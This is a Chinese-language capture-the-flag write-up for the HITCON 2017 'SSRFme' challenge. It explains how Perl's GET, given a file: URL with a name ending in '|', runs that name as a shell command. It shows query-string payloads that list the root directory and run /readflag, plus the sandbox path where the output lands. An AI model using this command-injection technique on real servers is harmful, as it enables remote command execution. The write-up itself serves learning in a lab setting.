HITCON2017SSRFme

打开题目:

14.png

代码逻辑很简单,就是创建一个沙箱,然后建立名为filename的文件,然后把data的数据写进去。

这里主要利用 GET 命令的一个漏洞,这里看了很多大佬博客的分析,大致就是:当使用GET 命令时在file协议中,如果所要处理的文件存在,则会调用open方法。
当Perl的open看到文件以 | 结尾,它将文件解释为要执行的命令。

所以这里我们可以控制我们输入的参数,造成命令执行,先看一下根目录下有哪些文件:

?url=file:ls / |&filename=ls / |

?url=file:ls / |&filename=ls / |

注意要输入两遍,才会触发命令执行,因为第一遍会在GET命令执行之后,才通过file_put_contents产生名为 ls / | 的文件,这个时候文件才存在。

两遍之后,这个时候我们 ls / 命令的执行结果被保存到了 ls / | 文件里面 ,路径为 (路径是有md5加密的 orange183.94.105.203 得到

/sandbox/6400c9bd004149f931bc0189b6b0db6d/ls / | ,我们访问可以得到:

15.png

到这里 我们直接 cat /flag 是 得不到结果的,所以可能是通过执行readflag文件来获得flag,所以我们在通过GET命令这个洞 来造成命令执行,手法和方式和之前的一模一样:

payload:

?url=file:bash -c /readflag |&filename=bash -c /readflag |

?url=file:bash -c /readflag |&filename=bash -c /readflag |

/sandbox/6400c9bd004149f931bc0189b6b0db6d/bash -c /readflag |

然后访问得到flag